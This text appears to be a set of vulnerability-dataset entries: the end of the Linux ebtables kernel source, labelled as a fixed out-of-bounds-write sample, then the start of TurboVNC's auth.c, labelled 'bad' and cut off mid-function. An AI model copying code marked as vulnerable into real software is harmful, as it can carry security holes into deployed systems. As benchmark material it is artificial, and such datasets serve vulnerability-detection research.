(num_counters == 0) return 0; if (num_counters != nentries) { BUGPRINT("Num_counters wrong\n"); return -EINVAL; } counterstmp = vmalloc(nentries * sizeof(*counterstmp)); if (!counterstmp) return -ENOMEM; write_lock_bh(&t->lock); get_counters(oldcounters, counterstmp, nentries); write_unlock_bh(&t->lock); if (copy_to_user(user, counterstmp, nentries * sizeof(struct ebt_counter))) ret = -EFAULT; vfree(counterstmp); return ret; } /* called with ebt_mutex locked */ static int copy_everything_to_user(struct ebt_table *t, void __user *user, const int *len, int cmd) { struct ebt_replace tmp; const struct ebt_counter *oldcounters; unsigned int entries_size, nentries; int ret; char *entries; if (cmd == EBT_SO_GET_ENTRIES) { entries_size = t->private->entries_size; nentries = t->private->nentries; entries = t->private->entries; oldcounters = t->private->counters; } else { entries_size = t->table->entries_size; nentries = t->table->nentries; entries = t->table->entries; oldcounters = t->table->counters; } if (copy_from_user(&tmp, user, sizeof(tmp))) return -EFAULT; if (*len != sizeof(struct ebt_replace) + entries_size + (tmp.num_counters ? nentries * sizeof(struct ebt_counter) : 0)) return -EINVAL; if (tmp.nentries != nentries) { BUGPRINT("Nentries wrong\n"); return -EINVAL; } if (tmp.entries_size != entries_size) { BUGPRINT("Wrong size\n"); return -EINVAL; } ret = copy_counters_to_user(t, oldcounters, tmp.counters, tmp.num_counters, nentries); if (ret) return ret; /* set the match/watcher/target names right */ return EBT_ENTRY_ITERATE(entries, entries_size, ebt_entry_to_user, entries, tmp.entries); } static int do_ebt_set_ctl(struct sock *sk, int cmd, void __user *user, unsigned int len) { int ret; struct net *net = sock_net(sk); if (!ns_capable(net->user_ns, CAP_NET_ADMIN)) return -EPERM; switch (cmd) { case EBT_SO_SET_ENTRIES: ret = do_replace(net, user, len); break; case EBT_SO_SET_COUNTERS: ret = update_counters(net, user, len); break; default: ret = -EINVAL; } return ret; } static int do_ebt_get_ctl(struct sock *sk, int cmd, void __user *user, int *len) { int ret; struct ebt_replace tmp; struct ebt_table *t; struct net *net = sock_net(sk); if (!ns_capable(net->user_ns, CAP_NET_ADMIN)) return -EPERM; if (copy_from_user(&tmp, user, sizeof(tmp))) return -EFAULT; tmp.name[sizeof(tmp.name) - 1] = '\0'; t = find_table_lock(net, tmp.name, &ret, &ebt_mutex); if (!t) return ret; switch (cmd) { case EBT_SO_GET_INFO: case EBT_SO_GET_INIT_INFO: if (*len != sizeof(struct ebt_replace)) { ret = -EINVAL; mutex_unlock(&ebt_mutex); break; } if (cmd == EBT_SO_GET_INFO) { tmp.nentries = t->private->nentries; tmp.entries_size = t->private->entries_size; tmp.valid_hooks = t->valid_hooks; } else { tmp.nentries = t->table->nentries; tmp.entries_size = t->table->entries_size; tmp.valid_hooks = t->table->valid_hooks; } mutex_unlock(&ebt_mutex); if (copy_to_user(user, &tmp, *len) != 0) { BUGPRINT("c2u Didn't work\n"); ret = -EFAULT; break; } ret = 0; break; case EBT_SO_GET_ENTRIES: case EBT_SO_GET_INIT_ENTRIES: ret = copy_everything_to_user(t, user, len, cmd); mutex_unlock(&ebt_mutex); break; default: mutex_unlock(&ebt_mutex); ret = -EINVAL; } return ret; } #ifdef CONFIG_COMPAT /* 32 bit-userspace compatibility definitions. */ struct compat_ebt_replace { char name[EBT_TABLE_MAXNAMELEN]; compat_uint_t valid_hooks; compat_uint_t nentries; compat_uint_t entries_size; /* start of the chains */ compat_uptr_t hook_entry[NF_BR_NUMHOOKS]; /* nr of counters userspace expects back */ compat_uint_t num_counters; /* where the kernel will put the old counters. */ compat_uptr_t counters; compat_uptr_t entries; }; /* struct ebt_entry_match, _target and _watcher have same layout */ struct compat_ebt_entry_mwt { union { char name[EBT_FUNCTION_MAXNAMELEN]; compat_uptr_t ptr; } u; compat_uint_t match_size; compat_uint_t data[0]; }; /* account for possible padding between match_size and ->data */ static int ebt_compat_entry_padsize(void) { BUILD_BUG_ON(XT_ALIGN(sizeof(struct ebt_entry_match)) < COMPAT_XT_ALIGN(sizeof(struct compat_ebt_entry_mwt))); return (int) XT_ALIGN(sizeof(struct ebt_entry_match)) - COMPAT_XT_ALIGN(sizeof(struct compat_ebt_entry_mwt)); } static int ebt_compat_match_offset(const struct xt_match *match, unsigned int userlen) { /* ebt_among needs special handling. The kernel .matchsize is * set to -1 at registration time; at runtime an EBT_ALIGN()ed * value is expected. * Example: userspace sends 4500, ebt_among.c wants 4504. */ if (unlikely(match->matchsize == -1)) return XT_ALIGN(userlen) - COMPAT_XT_ALIGN(userlen); return xt_compat_match_offset(match); } static int compat_match_to_user(struct ebt_entry_match *m, void __user **dstptr, unsigned int *size) { const struct xt_match *match = m->u.match; struct compat_ebt_entry_mwt __user *cm = *dstptr; int off = ebt_compat_match_offset(match, m->match_size); compat_uint_t msize = m->match_size - off; if (WARN_ON(off >= m->match_size)) return -EINVAL; if (copy_to_user(cm->u.name, match->name, strlen(match->name) + 1) || put_user(msize, &cm->match_size)) return -EFAULT; if (match->compat_to_user) { if (match->compat_to_user(cm->data, m->data)) return -EFAULT; } else { if (xt_data_to_user(cm->data, m->data, match->usersize, msize, COMPAT_XT_ALIGN(msize))) return -EFAULT; } *size -= ebt_compat_entry_padsize() + off; *dstptr = cm->data; *dstptr += msize; return 0; } static int compat_target_to_user(struct ebt_entry_target *t, void __user **dstptr, unsigned int *size) { const struct xt_target *target = t->u.target; struct compat_ebt_entry_mwt __user *cm = *dstptr; int off = xt_compat_target_offset(target); compat_uint_t tsize = t->target_size - off; if (WARN_ON(off >= t->target_size)) return -EINVAL; if (copy_to_user(cm->u.name, target->name, strlen(target->name) + 1) || put_user(tsize, &cm->match_size)) return -EFAULT; if (target->compat_to_user) { if (target->compat_to_user(cm->data, t->data)) return -EFAULT; } else { if (xt_data_to_user(cm->data, t->data, target->usersize, tsize, COMPAT_XT_ALIGN(tsize))) return -EFAULT; } *size -= ebt_compat_entry_padsize() + off; *dstptr = cm->data; *dstptr += tsize; return 0; } static int compat_watcher_to_user(struct ebt_entry_watcher *w, void __user **dstptr, unsigned int *size) { return compat_target_to_user((struct ebt_entry_target *)w, dstptr, size); } static int compat_copy_entry_to_user(struct ebt_entry *e, void __user **dstptr, unsigned int *size) { struct ebt_entry_target *t; struct ebt_entry __user *ce; u32 watchers_offset, target_offset, next_offset; compat_uint_t origsize; int ret; if (e->bitmask == 0) { if (*size < sizeof(struct ebt_entries)) return -EINVAL; if (copy_to_user(*dstptr, e, sizeof(struct ebt_entries))) return -EFAULT; *dstptr += sizeof(struct ebt_entries); *size -= sizeof(struct ebt_entries); return 0; } if (*size < sizeof(*ce)) return -EINVAL; ce = *dstptr; if (copy_to_user(ce, e, sizeof(*ce))) return -EFAULT; origsize = *size; *dstptr += sizeof(*ce); ret = EBT_MATCH_ITERATE(e, compat_match_to_user, dstptr, size); if (ret) return ret; watchers_offset = e->watchers_offset - (origsize - *size); ret = EBT_WATCHER_ITERATE(e, compat_watcher_to_user, dstptr, size); if (ret) return ret; target_offset = e->target_offset - (origsize - *size); t = (struct ebt_entry_target *) ((char *) e + e->target_offset); ret = compat_target_to_user(t, dstptr, size); if (ret) return ret; next_offset = e->next_offset - (origsize - *size); if (put_user(watchers_offset, &ce->watchers_offset) || put_user(target_offset, &ce->target_offset) || put_user(next_offset, &ce->next_offset)) return -EFAULT; *size -= sizeof(*ce); return 0; } static int compat_calc_match(struct ebt_entry_match *m, int *off) { *off += ebt_compat_match_offset(m->u.match, m->match_size); *off += ebt_compat_entry_padsize(); return 0; } static int compat_calc_watcher(struct ebt_entry_watcher *w, int *off) { *off += xt_compat_target_offset(w->u.watcher); *off += ebt_compat_entry_padsize(); return 0; } static int compat_calc_entry(const struct ebt_entry *e, const struct ebt_table_info *info, const void *base, struct compat_ebt_replace *newinfo) { const struct ebt_entry_target *t; unsigned int entry_offset; int off, ret, i; if (e->bitmask == 0) return 0; off = 0; entry_offset = (void *)e - base; EBT_MATCH_ITERATE(e, compat_calc_match, &off); EBT_WATCHER_ITERATE(e, compat_calc_watcher, &off); t = (const struct ebt_entry_target *) ((char *) e + e->target_offset); off += xt_compat_target_offset(t->u.target); off += ebt_compat_entry_padsize(); newinfo->entries_size -= off; ret = xt_compat_add_offset(NFPROTO_BRIDGE, entry_offset, off); if (ret) return ret; for (i = 0; i < NF_BR_NUMHOOKS; i++) { const void *hookptr = info->hook_entry[i]; if (info->hook_entry[i] && (e < (struct ebt_entry *)(base - hookptr))) { newinfo->hook_entry[i] -= off; pr_debug("0x%08X -> 0x%08X\n", newinfo->hook_entry[i] + off, newinfo->hook_entry[i]); } } return 0; } static int compat_table_info(const struct ebt_table_info *info, struct compat_ebt_replace *newinfo) { unsigned int size = info->entries_size; const void *entries = info->entries; newinfo->entries_size = size; xt_compat_init_offsets(NFPROTO_BRIDGE, info->nentries); return EBT_ENTRY_ITERATE(entries, size, compat_calc_entry, info, entries, newinfo); } static int compat_copy_everything_to_user(struct ebt_table *t, void __user *user, int *len, int cmd) { struct compat_ebt_replace repl, tmp; struct ebt_counter *oldcounters; struct ebt_table_info tinfo; int ret; void __user *pos; memset(&tinfo, 0, sizeof(tinfo)); if (cmd == EBT_SO_GET_ENTRIES) { tinfo.entries_size = t->private->entries_size; tinfo.nentries = t->private->nentries; tinfo.entries = t->private->entries; oldcounters = t->private->counters; } else { tinfo.entries_size = t->table->entries_size; tinfo.nentries = t->table->nentries; tinfo.entries = t->table->entries; oldcounters = t->table->counters; } if (copy_from_user(&tmp, user, sizeof(tmp))) return -EFAULT; if (tmp.nentries != tinfo.nentries || (tmp.num_counters && tmp.num_counters != tinfo.nentries)) return -EINVAL; memcpy(&repl, &tmp, sizeof(repl)); if (cmd == EBT_SO_GET_ENTRIES) ret = compat_table_info(t->private, &repl); else ret = compat_table_info(&tinfo, &repl); if (ret) return ret; if (*len != sizeof(tmp) + repl.entries_size + (tmp.num_counters? tinfo.nentries * sizeof(struct ebt_counter): 0)) { pr_err("wrong size: *len %d, entries_size %u, replsz %d\n", *len, tinfo.entries_size, repl.entries_size); return -EINVAL; } /* userspace might not need the counters */ ret = copy_counters_to_user(t, oldcounters, compat_ptr(tmp.counters), tmp.num_counters, tinfo.nentries); if (ret) return ret; pos = compat_ptr(tmp.entries); return EBT_ENTRY_ITERATE(tinfo.entries, tinfo.entries_size, compat_copy_entry_to_user, &pos, &tmp.entries_size); } struct ebt_entries_buf_state { char *buf_kern_start; /* kernel buffer to copy (translated) data to */ u32 buf_kern_len; /* total size of kernel buffer */ u32 buf_kern_offset; /* amount of data copied so far */ u32 buf_user_offset; /* read position in userspace buffer */ }; static int ebt_buf_count(struct ebt_entries_buf_state *state, unsigned int sz) { state->buf_kern_offset += sz; return state->buf_kern_offset >= sz ? 0 : -EINVAL; } static int ebt_buf_add(struct ebt_entries_buf_state *state, void *data, unsigned int sz) { if (state->buf_kern_start == NULL) goto count_only; if (WARN_ON(state->buf_kern_offset + sz > state->buf_kern_len)) return -EINVAL; memcpy(state->buf_kern_start + state->buf_kern_offset, data, sz); count_only: state->buf_user_offset += sz; return ebt_buf_count(state, sz); } static int ebt_buf_add_pad(struct ebt_entries_buf_state *state, unsigned int sz) { char *b = state->buf_kern_start; if (WARN_ON(b && state->buf_kern_offset > state->buf_kern_len)) return -EINVAL; if (b != NULL && sz > 0) memset(b + state->buf_kern_offset, 0, sz); /* do not adjust ->buf_user_offset here, we added kernel-side padding */ return ebt_buf_count(state, sz); } enum compat_mwt { EBT_COMPAT_MATCH, EBT_COMPAT_WATCHER, EBT_COMPAT_TARGET, }; static int compat_mtw_from_user(struct compat_ebt_entry_mwt *mwt, enum compat_mwt compat_mwt, struct ebt_entries_buf_state *state, const unsigned char *base) { char name[EBT_FUNCTION_MAXNAMELEN]; struct xt_match *match; struct xt_target *wt; void *dst = NULL; int off, pad = 0; unsigned int size_kern, match_size = mwt->match_size; strlcpy(name, mwt->u.name, sizeof(name)); if (state->buf_kern_start) dst = state->buf_kern_start + state->buf_kern_offset; switch (compat_mwt) { case EBT_COMPAT_MATCH: match = xt_request_find_match(NFPROTO_BRIDGE, name, 0); if (IS_ERR(match)) return PTR_ERR(match); off = ebt_compat_match_offset(match, match_size); if (dst) { if (match->compat_from_user) match->compat_from_user(dst, mwt->data); else memcpy(dst, mwt->data, match_size); } size_kern = match->matchsize; if (unlikely(size_kern == -1)) size_kern = match_size; module_put(match->me); break; case EBT_COMPAT_WATCHER: /* fallthrough */ case EBT_COMPAT_TARGET: wt = xt_request_find_target(NFPROTO_BRIDGE, name, 0); if (IS_ERR(wt)) return PTR_ERR(wt); off = xt_compat_target_offset(wt); if (dst) { if (wt->compat_from_user) wt->compat_from_user(dst, mwt->data); else memcpy(dst, mwt->data, match_size); } size_kern = wt->targetsize; module_put(wt->me); break; default: return -EINVAL; } state->buf_kern_offset += match_size + off; state->buf_user_offset += match_size; pad = XT_ALIGN(size_kern) - size_kern; if (pad > 0 && dst) { if (WARN_ON(state->buf_kern_len <= pad)) return -EINVAL; if (WARN_ON(state->buf_kern_offset - (match_size + off) + size_kern > state->buf_kern_len - pad)) return -EINVAL; memset(dst + size_kern, 0, pad); } return off + match_size; } /* return size of all matches, watchers or target, including necessary * alignment and padding. */ static int ebt_size_mwt(struct compat_ebt_entry_mwt *match32, unsigned int size_left, enum compat_mwt type, struct ebt_entries_buf_state *state, const void *base) { int growth = 0; char *buf; if (size_left == 0) return 0; buf = (char *) match32; while (size_left >= sizeof(*match32)) { struct ebt_entry_match *match_kern; int ret; match_kern = (struct ebt_entry_match *) state->buf_kern_start; if (match_kern) { char *tmp; tmp = state->buf_kern_start + state->buf_kern_offset; match_kern = (struct ebt_entry_match *) tmp; } ret = ebt_buf_add(state, buf, sizeof(*match32)); if (ret < 0) return ret; size_left -= sizeof(*match32); /* add padding before match->data (if any) */ ret = ebt_buf_add_pad(state, ebt_compat_entry_padsize()); if (ret < 0) return ret; if (match32->match_size > size_left) return -EINVAL; size_left -= match32->match_size; ret = compat_mtw_from_user(match32, type, state, base); if (ret < 0) return ret; if (WARN_ON(ret < match32->match_size)) return -EINVAL; growth += ret - match32->match_size; growth += ebt_compat_entry_padsize(); buf += sizeof(*match32); buf += match32->match_size; if (match_kern) match_kern->match_size = ret; if (WARN_ON(type == EBT_COMPAT_TARGET && size_left)) return -EINVAL; match32 = (struct compat_ebt_entry_mwt *) buf; } return growth; } /* called for all ebt_entry structures. */ static int size_entry_mwt(struct ebt_entry *entry, const unsigned char *base, unsigned int *total, struct ebt_entries_buf_state *state) { unsigned int i, j, startoff, new_offset = 0; /* stores match/watchers/targets & offset of next struct ebt_entry: */ unsigned int offsets[4]; unsigned int *offsets_update = NULL; int ret; char *buf_start; if (*total < sizeof(struct ebt_entries)) return -EINVAL; if (!entry->bitmask) { *total -= sizeof(struct ebt_entries); return ebt_buf_add(state, entry, sizeof(struct ebt_entries)); } if (*total < sizeof(*entry) || entry->next_offset < sizeof(*entry)) return -EINVAL; startoff = state->buf_user_offset; /* pull in most part of ebt_entry, it does not need to be changed. */ ret = ebt_buf_add(state, entry, offsetof(struct ebt_entry, watchers_offset)); if (ret < 0) return ret; offsets[0] = sizeof(struct ebt_entry); /* matches come first */ memcpy(&offsets[1], &entry->watchers_offset, sizeof(offsets) - sizeof(offsets[0])); if (state->buf_kern_start) { buf_start = state->buf_kern_start + state->buf_kern_offset; offsets_update = (unsigned int *) buf_start; } ret = ebt_buf_add(state, &offsets[1], sizeof(offsets) - sizeof(offsets[0])); if (ret < 0) return ret; buf_start = (char *) entry; /* 0: matches offset, always follows ebt_entry. * 1: watchers offset, from ebt_entry structure * 2: target offset, from ebt_entry structure * 3: next ebt_entry offset, from ebt_entry structure * * offsets are relative to beginning of struct ebt_entry (i.e., 0). */ for (i = 0; i < 4 ; ++i) { if (offsets[i] >= *total) return -EINVAL; if (i == 0) continue; if (offsets[i-1] > offsets[i]) return -EINVAL; } for (i = 0, j = 1 ; j < 4 ; j++, i++) { struct compat_ebt_entry_mwt *match32; unsigned int size; char *buf = buf_start + offsets[i]; if (offsets[i] > offsets[j]) return -EINVAL; match32 = (struct compat_ebt_entry_mwt *) buf; size = offsets[j] - offsets[i]; ret = ebt_size_mwt(match32, size, i, state, base); if (ret < 0) return ret; new_offset += ret; if (offsets_update && new_offset) { pr_debug("change offset %d to %d\n", offsets_update[i], offsets[j] + new_offset); offsets_update[i] = offsets[j] + new_offset; } } if (state->buf_kern_start == NULL) { unsigned int offset = buf_start - (char *) base; ret = xt_compat_add_offset(NFPROTO_BRIDGE, offset, new_offset); if (ret < 0) return ret; } startoff = state->buf_user_offset - startoff; if (WARN_ON(*total < startoff)) return -EINVAL; *total -= startoff; return 0; } /* repl->entries_size is the size of the ebt_entry blob in userspace. * It might need more memory when copied to a 64 bit kernel in case * userspace is 32-bit. So, first task: find out how much memory is needed. * * Called before validation is performed. */ static int compat_copy_entries(unsigned char *data, unsigned int size_user, struct ebt_entries_buf_state *state) { unsigned int size_remaining = size_user; int ret; ret = EBT_ENTRY_ITERATE(data, size_user, size_entry_mwt, data, &size_remaining, state); if (ret < 0) return ret; WARN_ON(size_remaining); return state->buf_kern_offset; } static int compat_copy_ebt_replace_from_user(struct ebt_replace *repl, void __user *user, unsigned int len) { struct compat_ebt_replace tmp; int i; if (len < sizeof(tmp)) return -EINVAL; if (copy_from_user(&tmp, user, sizeof(tmp))) return -EFAULT; if (len != sizeof(tmp) + tmp.entries_size) return -EINVAL; if (tmp.entries_size == 0) return -EINVAL; if (tmp.nentries >= ((INT_MAX - sizeof(struct ebt_table_info)) / NR_CPUS - SMP_CACHE_BYTES) / sizeof(struct ebt_counter)) return -ENOMEM; if (tmp.num_counters >= INT_MAX / sizeof(struct ebt_counter)) return -ENOMEM; memcpy(repl, &tmp, offsetof(struct ebt_replace, hook_entry)); /* starting with hook_entry, 32 vs. 64 bit structures are different */ for (i = 0; i < NF_BR_NUMHOOKS; i++) repl->hook_entry[i] = compat_ptr(tmp.hook_entry[i]); repl->num_counters = tmp.num_counters; repl->counters = compat_ptr(tmp.counters); repl->entries = compat_ptr(tmp.entries); return 0; } static int compat_do_replace(struct net *net, void __user *user, unsigned int len) { int ret, i, countersize, size64; struct ebt_table_info *newinfo; struct ebt_replace tmp; struct ebt_entries_buf_state state; void *entries_tmp; ret = compat_copy_ebt_replace_from_user(&tmp, user, len); if (ret) { /* try real handler in case userland supplied needed padding */ if (ret == -EINVAL && do_replace(net, user, len) == 0) ret = 0; return ret; } countersize = COUNTER_OFFSET(tmp.nentries) * nr_cpu_ids; newinfo = vmalloc(sizeof(*newinfo) + countersize); if (!newinfo) return -ENOMEM; if (countersize) memset(newinfo->counters, 0, countersize); memset(&state, 0, sizeof(state)); newinfo->entries = vmalloc(tmp.entries_size); if (!newinfo->entries) { ret = -ENOMEM; goto free_newinfo; } if (copy_from_user( newinfo->entries, tmp.entries, tmp.entries_size) != 0) { ret = -EFAULT; goto free_entries; } entries_tmp = newinfo->entries; xt_compat_lock(NFPROTO_BRIDGE); xt_compat_init_offsets(NFPROTO_BRIDGE, tmp.nentries); ret = compat_copy_entries(entries_tmp, tmp.entries_size, &state); if (ret < 0) goto out_unlock; pr_debug("tmp.entries_size %d, kern off %d, user off %d delta %d\n", tmp.entries_size, state.buf_kern_offset, state.buf_user_offset, xt_compat_calc_jump(NFPROTO_BRIDGE, tmp.entries_size)); size64 = ret; newinfo->entries = vmalloc(size64); if (!newinfo->entries) { vfree(entries_tmp); ret = -ENOMEM; goto out_unlock; } memset(&state, 0, sizeof(state)); state.buf_kern_start = newinfo->entries; state.buf_kern_len = size64; ret = compat_copy_entries(entries_tmp, tmp.entries_size, &state); if (WARN_ON(ret < 0)) goto out_unlock; vfree(entries_tmp); tmp.entries_size = size64; for (i = 0; i < NF_BR_NUMHOOKS; i++) { char __user *usrptr; if (tmp.hook_entry[i]) { unsigned int delta; usrptr = (char __user *) tmp.hook_entry[i]; delta = usrptr - tmp.entries; usrptr += xt_compat_calc_jump(NFPROTO_BRIDGE, delta); tmp.hook_entry[i] = (struct ebt_entries __user *)usrptr; } } xt_compat_flush_offsets(NFPROTO_BRIDGE); xt_compat_unlock(NFPROTO_BRIDGE); ret = do_replace_finish(net, &tmp, newinfo); if (ret == 0) return ret; free_entries: vfree(newinfo->entries); free_newinfo: vfree(newinfo); return ret; out_unlock: xt_compat_flush_offsets(NFPROTO_BRIDGE); xt_compat_unlock(NFPROTO_BRIDGE); goto free_entries; } static int compat_update_counters(struct net *net, void __user *user, unsigned int len) { struct compat_ebt_replace hlp; if (copy_from_user(&hlp, user, sizeof(hlp))) return -EFAULT; /* try real handler in case userland supplied needed padding */ if (len != sizeof(hlp) + hlp.num_counters * sizeof(struct ebt_counter)) return update_counters(net, user, len); return do_update_counters(net, hlp.name, compat_ptr(hlp.counters), hlp.num_counters, user, len); } static int compat_do_ebt_set_ctl(struct sock *sk, int cmd, void __user *user, unsigned int len) { int ret; struct net *net = sock_net(sk); if (!ns_capable(net->user_ns, CAP_NET_ADMIN)) return -EPERM; switch (cmd) { case EBT_SO_SET_ENTRIES: ret = compat_do_replace(net, user, len); break; case EBT_SO_SET_COUNTERS: ret = compat_update_counters(net, user, len); break; default: ret = -EINVAL; } return ret; } static int compat_do_ebt_get_ctl(struct sock *sk, int cmd, void __user *user, int *len) { int ret; struct compat_ebt_replace tmp; struct ebt_table *t; struct net *net = sock_net(sk); if (!ns_capable(net->user_ns, CAP_NET_ADMIN)) return -EPERM; /* try real handler in case userland supplied needed padding */ if ((cmd == EBT_SO_GET_INFO || cmd == EBT_SO_GET_INIT_INFO) && *len != sizeof(tmp)) return do_ebt_get_ctl(sk, cmd, user, len); if (copy_from_user(&tmp, user, sizeof(tmp))) return -EFAULT; tmp.name[sizeof(tmp.name) - 1] = '\0'; t = find_table_lock(net, tmp.name, &ret, &ebt_mutex); if (!t) return ret; xt_compat_lock(NFPROTO_BRIDGE); switch (cmd) { case EBT_SO_GET_INFO: tmp.nentries = t->private->nentries; ret = compat_table_info(t->private, &tmp); if (ret) goto out; tmp.valid_hooks = t->valid_hooks; if (copy_to_user(user, &tmp, *len) != 0) { ret = -EFAULT; break; } ret = 0; break; case EBT_SO_GET_INIT_INFO: tmp.nentries = t->table->nentries; tmp.entries_size = t->table->entries_size; tmp.valid_hooks = t->table->valid_hooks; if (copy_to_user(user, &tmp, *len) != 0) { ret = -EFAULT; break; } ret = 0; break; case EBT_SO_GET_ENTRIES: case EBT_SO_GET_INIT_ENTRIES: /* try real handler first in case of userland-side padding. * in case we are dealing with an 'ordinary' 32 bit binary * without 64bit compatibility padding, this will fail right * after copy_from_user when the *len argument is validated. * * the compat_ variant needs to do one pass over the kernel * data set to adjust for size differences before it the check. */ if (copy_everything_to_user(t, user, len, cmd) == 0) ret = 0; else ret = compat_copy_everything_to_user(t, user, len, cmd); break; default: ret = -EINVAL; } out: xt_compat_flush_offsets(NFPROTO_BRIDGE); xt_compat_unlock(NFPROTO_BRIDGE); mutex_unlock(&ebt_mutex); return ret; } #endif static struct nf_sockopt_ops ebt_sockopts = { .pf = PF_INET, .set_optmin = EBT_BASE_CTL, .set_optmax = EBT_SO_SET_MAX + 1, .set = do_ebt_set_ctl, #ifdef CONFIG_COMPAT .compat_set = compat_do_ebt_set_ctl, #endif .get_optmin = EBT_BASE_CTL, .get_optmax = EBT_SO_GET_MAX + 1, .get = do_ebt_get_ctl, #ifdef CONFIG_COMPAT .compat_get = compat_do_ebt_get_ctl, #endif .owner = THIS_MODULE, }; static int __init ebtables_init(void) { int ret; ret = xt_register_target(&ebt_standard_target); if (ret < 0) return ret; ret = nf_register_sockopt(&ebt_sockopts); if (ret < 0) { xt_unregister_target(&ebt_standard_target); return ret; } return 0; } static void __exit ebtables_fini(void) { nf_unregister_sockopt(&ebt_sockopts); xt_unregister_target(&ebt_standard_target); } EXPORT_SYMBOL(ebt_register_table); EXPORT_SYMBOL(ebt_unregister_table); EXPORT_SYMBOL(ebt_do_table); module_init(ebtables_init); module_exit(ebtables_fini); MODULE_LICENSE("GPL");
./CrossVul/dataset_final_sorted/CWE-787/c/good_106_0
crossvul-cpp_data_bad_1040_0
/* * auth.c - deal with authentication. * * This file implements authentication when setting up an RFB connection. */ /* * Copyright (C) 2010, 2012-2019 D. R. Commander. All Rights Reserved. * Copyright (C) 2010 University Corporation for Atmospheric Research. * All Rights Reserved. * Copyright (C) 2003-2006 Constantin Kaplinsky. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, * USA. */ #ifndef _POSIX_PTHREAD_SEMANTICS #define _POSIX_PTHREAD_SEMANTICS #endif #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <errno.h> #include "rfb.h" #include "windowstr.h" char *rfbAuthPasswdFile = NULL; static void rfbSendSecurityType(rfbClientPtr cl, int securityType); static void rfbSendSecurityTypeList(rfbClientPtr cl); static void rfbSendTunnelingCaps(rfbClientPtr cl); static void rfbSendAuthCaps(rfbClientPtr cl); static void rfbVncAuthSendChallenge(rfbClientPtr cl); static void rfbVeNCryptAuthenticate(rfbClientPtr cl); #define AUTH_DEFAULT_CONF_FILE \ CMAKE_INSTALL_FULL_SYSCONFDIR "/turbovncserver-security.conf" #ifdef XVNC_AuthPAM #define AUTH_DEFAULT_PAM_SERVICE_NAME "turbovnc" #endif #define MAX_USER_LEN 64 #define MAX_PWD_LEN 64 char *rfbAuthConfigFile = AUTH_DEFAULT_CONF_FILE; Bool rfbAuthDisableRemoteResize = FALSE; Bool rfbAuthDisableRevCon = FALSE; Bool rfbAuthDisableCBSend = FALSE; Bool rfbAuthDisableCBRecv = FALSE; Bool rfbAuthDisableHTTP = FALSE; Bool rfbAuthDisableX11TCP = FALSE; static int nSecTypesEnabled = 0; static int preferenceLimit = 1; /* Force one iteration of the loop in rfbSendAuthCaps() */ char *rfbAuthOTPValue = NULL; int rfbAuthOTPValueLen = 0; #if USETLS char *rfbAuthX509Cert = NULL; char *rfbAuthX509Key = NULL; char *rfbAuthCipherSuites = NULL; #endif static void AuthNoneStartFunc(rfbClientPtr cl) { rfbClientAuthSucceeded(cl, rfbAuthNone); } static void AuthNoneRspFunc(rfbClientPtr cl) { } #ifdef XVNC_AuthPAM #include <pwd.h> static char *pamServiceName = AUTH_DEFAULT_PAM_SERVICE_NAME; typedef struct UserList { struct UserList *next; const char *name; Bool viewOnly; } UserList; static UserList *userACL = NULL; Bool rfbAuthUserACL = FALSE; void rfbAuthAddUser(const char *name, Bool viewOnly) { UserList *p = (UserList *)rfbAlloc(sizeof(UserList)); rfbLog("Adding user '%s' to ACL with %s privileges\n", name, viewOnly ? " view-only" : "full control"); p->next = userACL; p->name = name; p->viewOnly = viewOnly; userACL = p; } void rfbAuthRevokeUser(const char *name) { UserList **prev = &userACL; UserList *p; rfbLog("Removing user '%s' from ACL\n", name); while (*prev != NULL) { p = *prev; if (!strcmp(p->name, name)) { *prev = p->next; free((void *)p->name); free(p); return; } prev = &p->next; } } static void AuthPAMUserPwdStartFunc(rfbClientPtr cl) { cl->state = RFB_AUTHENTICATION; } static void AuthPAMUserPwdRspFunc(rfbClientPtr cl) { CARD32 userLen; CARD32 pwdLen; char userBuf[MAX_USER_LEN + 1]; char pwdBuf[MAX_PWD_LEN + 1]; int n; const char *emsg; n = ReadExact(cl, (char *)&userLen, sizeof(userLen)); if (n <= 0) { if (n != 0) rfbLogPerror("AuthPAMUserPwdRspFunc: read error"); rfbCloseClient(cl); return; } userLen = Swap32IfLE(userLen); n = ReadExact(cl, (char *)&pwdLen, sizeof(pwdLen)); if (n <= 0) { if (n != 0) rfbLogPerror("AuthPAMUserPwdRspFunc: read error"); rfbCloseClient(cl); return; } pwdLen = Swap32IfLE(pwdLen); if ((userLen > MAX_USER_LEN) || (pwdLen > MAX_PWD_LEN)) { rfbLogPerror("AuthPAMUserPwdRspFunc: excessively large user name or password in response"); rfbCloseClient(cl); return; } n = ReadExact(cl, userBuf, userLen); if (n <= 0) { if (n != 0) rfbLogPerror("AuthPAMUserPwdRspFunc: error reading user name"); rfbCloseClient(cl); return; } userBuf[userLen] = '\0'; n = ReadExact(cl, pwdBuf, pwdLen); if (n <= 0) { if (n != 0) rfbLogPerror("AuthPAMUserPwdRspFunc: error reading password"); rfbCloseClient(cl); return; } pwdBuf[pwdLen] = '\0'; if (rfbAuthUserACL) { UserList *p = userACL; if (p == NULL) rfbLog("WARNING: User ACL is empty. No users will be allowed to log in with Unix Login authentication.\n"); while (p != NULL) { if (!strcmp(p->name, userBuf)) break; p = p->next; } if (p == NULL) { rfbLog("User '%s' is not in the ACL and has been denied access\n", userBuf); rfbClientAuthFailed(cl, "User denied access"); return; } cl->viewOnly = p->viewOnly; } else { struct passwd pbuf; struct passwd *pw; char buf[256]; if (getpwuid_r(getuid(), &pbuf, buf, sizeof(buf), &pw) != 0) FatalError("AuthPAMUserPwdRspFunc: getpwuid_r failed: %s", strerror(errno)); if (strcmp(pbuf.pw_name, userBuf)) { rfbLog("User '%s' denied access (not the session owner)\n", userBuf); rfbLog(" Enable user ACL to grant access to other users.\n"); rfbClientAuthFailed(cl, "User denied access"); return; } } if (rfbPAMAuthenticate(cl, pamServiceName, userBuf, pwdBuf, &emsg)) rfbClientAuthSucceeded(cl, rfbAuthUnixLogin); else 